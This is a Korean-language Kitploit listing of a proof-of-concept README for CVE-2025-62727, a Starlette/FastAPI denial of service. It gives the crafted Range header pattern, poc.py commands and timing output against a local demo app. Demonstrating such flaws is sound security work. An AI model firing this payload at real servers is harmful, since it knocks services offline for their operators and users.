Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/ch4n3-yoon/cve-2025-62727-demo
Vulnerability AnalysisExploitationWeb SecurityAPI Security
GitHubch4n3-yoon/cve-2025-62727-demo

CVE-2025-62727-Demo

CVE-2025-62727의 개념 증명으로, FastAPI(기반 Starlette <= 0.48.0)에서 서비스 거부(denial-of-service)를 유발할 수 있습니다.

저장소 보기
110개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-62727 데모

피해자(Victim) 설명

CVE-2025-62727의 대상 피해자는 다음과 같은 간단한 FastAPI 앱입니다:

  • /에서 Hello World를 제공합니다.
  • Starlette의 StaticFiles를 사용하여 /static 아래에서 정적 파일을 제공합니다.
  • 시작 시 1024, 2048, 50176 중 N에 대해 A가 N번 반복된 텍스트 파일을 자동 생성합니다.

피해자 실행 방법

  1. (선택 사항) virtualenv를 생성하고 활성화합니다.

  2. 의존성을 설치합니다:

    root@kitploit:~
    pip install -r requirements.txt
    
  3. 서버를 시작합니다:

    root@kitploit:~
    uvicorn main:app --reload
    
  4. 다음을 엽니다:

  • 인덱스 페이지는 http://127.0.0.1:8000/ 입니다.
  • 정적 파일은 http://127.0.0.1:8000/static/1024.txt 등입니다.

참고 사항

  • 정적 파일은 앱 시작 시 static/ 디렉터리 아래에 생성됩니다. 기존 파일은 덮어쓰지 않습니다.
  • 정적 제공은 요청된 대로 Starlette의 StaticFiles를 사용합니다.

PoC: CVE-2025-62727 (Range 헤더 파싱)

포함된 poc.py는 /static 라우트를 통해 bytes=000...000a- 형식의 조작된 헤더를 사용하여 Starlette의 FileResponse에서 CPU 집약적인 Range 파싱을 트리거합니다.

서버를 실행한 후, 다른 셸에서 다음을 실행합니다:

root@kitploit:~
python3 poc.py --sizes 1000,2000,4000,7000

대상 URL을 재정의합니다(선택 사항):

root@kitploit:~
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000

참고 사항:

  • PoC는 기본적으로 http://127.0.0.1:8000/static/50176.txt(앱이 생성하는 파일)를 대상으로 합니다. 변경하려면 --url을 사용하세요.
  • 400/431(헤더가 너무 큼)이 표시되면 --sizes를 줄이고, 헤더가 성공하고 더 강력한 효과를 원하면 --sizes를 늘리세요.

결과 예시:

root@kitploit:~
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms
도구 다운로드